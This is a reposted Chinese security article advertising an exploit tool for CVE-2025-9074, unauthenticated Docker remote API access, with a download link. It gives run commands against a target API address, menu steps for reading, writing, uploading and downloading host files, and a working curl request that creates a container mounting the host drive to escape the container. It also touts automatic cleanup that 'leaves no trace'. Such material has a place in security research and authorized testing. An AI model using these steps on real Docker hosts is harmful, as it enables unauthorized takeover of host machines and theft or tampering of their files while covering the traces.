一个功能强大的Docker远程API漏洞利用工具

admin 2026-01-13 14:53:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍针对CVE-2025-9074Docker远程API漏洞的利用工具。该工具支持全自动化容器管理、跨平台及智能路径映射,能通过未授权API创建容器并挂载宿主机磁盘,实现容器逃逸与文件读写。其菜单式交互简化了操作流程,适用于安全研究与渗透测试。 综合评分: 80 文章分类: 渗透测试,漏洞POC,安全工具,云安全,红队


cover_image

一个功能强大的 Docker 远程 API 漏洞利用工具

黑白之道

2026年1月12日 09:19 山东

工具介绍

CVE-2025-9074 Docker 容器命令执行工具 ,一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。

核心优势

✅ 全自动容器生命周期管理:自动创建临时容器,操作完成后自动清理,不留痕迹 ✅ 智能路径处理:自动识别并转换 Windows 路径为 Docker 挂载格式 ✅ 全自动化操作流程:无需手动输入复杂命令,菜单式交互,一键完成文件操作 ✅ 跨平台兼容:完美支持 Windows 和 Linux 系统

部分功能效果图

功能特性

  • 容器操作

  • 查看运行中的容器

  • 查看所有容器(包括停止的)

  • 创建新容器

  • 停止容器

  • 删除容器

  • 单次命令执行

  • 交互式终端(需要 docker 库)

  • 镜像管理

  • 查看本地镜像

  • 拉取新镜像

  • 删除镜像

  • 宿主机文件操作

  • 上传文件到宿主机

  • 从宿主机下载文件

  • 读取宿主机文件内容

  • 向宿主机写入文件

  • 自动处理 Windows Docker Desktop 路径映射

漏洞说明

CVE-2025-9074 是 Docker 远程 API 的一个安全漏洞,攻击者可以通过未授权访问 Docker API 来:

  • 执行任意命令
  • 创建容器并挂载宿主机磁盘
  • 实现容器逃逸
  • 读取/写入宿主机文件

使用方法

基本用法

直接运行脚本,使用默认 Docker API 地址:

python CVE-2025-9074-docker-exploit.py

自定义 Docker API 地址

python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375

命令行参数

python CVE-2025-9074-docker-exploit.py [选项]

选项:
  -u, --url URL         Docker API 地址(默认: http://192.168.65.7:2375)

功能详解

容器操作

  1. 查看运行中的容器:显示所有正在运行的容器列表
  2. 查看所有容器:显示所有容器(包括已停止的)
  3. 创建新容器:使用指定镜像创建新容器
  4. 停止容器:停止运行中的容器
  5. 删除容器:删除容器(可强制删除)
  6. 单次命令执行:在容器中执行单条命令
  7. 交互式终端:进入容器的交互式 shell(需要 docker 库)

使用交互式终端

  1. 运行脚本后选择 “1. 容器操作”
  2. 选择 “1. 查看运行中的容器”
  3. 输入容器序号选择容器
  4. 选择 “2. 交互式终端 (需要 docker 库)”
  5. 输入 shell 命令(默认: /bin/sh)
  6. 开始交互式操作

镜像管理

  1. 查看镜像:列出所有本地镜像
  2. 拉取镜像:从 Docker Hub 拉取新镜像
  3. 删除镜像:删除本地镜像

宿主机文件操作

上传文件到宿主机

1. 上传文件到宿主机
请输入本地文件路径: /path/to/local/file.txt
请输入宿主机目标目录: D:/temp
请输入目标文件名 (留空则使用原文件名):

从宿主机下载文件

2. 从宿主机下载文件
请输入宿主机文件路径: D:/temp/file.txt
请输入本地保存路径: /tmp

读取宿主机文件内容

3. 读取宿主机文件内容
请输入宿主机文件路径: D:/temp/file.txt

向宿主机写入文件

4. 向宿主机写入文件
请输入宿主机目标目录: D:/temp
请输入文件内容: Hello, World!

Windows Docker Desktop 路径映射

本工具自动处理 Windows Docker Desktop 的路径映射:

| Windows 路径 | Docker 挂载路径 | | — | — | | D:\ | /mnt/host/d | | D:\temp | /mnt/host/d/temp | | C:\Windows | /mnt/host/c/Windows | | C:\Users\test | /mnt/host/c/Users/test |

支持的输入格式:

  • D:\ 或 D:/
  • D:\temp 或 D:/temp
  • "D:\file.txt"(带引号)
  • 'D:/file.txt'(带引号)

技术原理

容器逃逸

通过 Docker API 创建容器并挂载宿主机磁盘:

curl -X POST&nbsp;"http://<target>:2375/containers/create"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;'{
&nbsp; &nbsp; "Image": "python:3.11.7",
&nbsp; &nbsp; "Cmd": ["sleep", "999d"],
&nbsp; &nbsp; "HostConfig": {
&nbsp; &nbsp; &nbsp; "Binds": ["/mnt/host/d:/tmp"]
&nbsp; &nbsp; },
&nbsp; &nbsp; "Tty": true
&nbsp; }'

文件读写

通过在容器中执行命令来读写宿主机文件:

# 写入文件
echo&nbsp;"content"&nbsp;> /tmp/file.txt

# 读取文件
cat /tmp/file.txt

工具获取

https://github.com/Shaoshi17/CVE-2025-9074-Docker-Exploit

文章来源:夜组安全

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 《一个功能强大的 Docker 远程 API 漏洞利用工具》

记一次漏洞挖掘经历 网络安全文章

记一次漏洞挖掘经历

文章总结: 作者在一次授权校园APP渗透中,依次挖出敏感信息泄露、平行垂直越权、任意人脸照片修改及存储型XSS四组漏洞;通过遍历userId可批量获取近两万条师
评论:0   参与:  0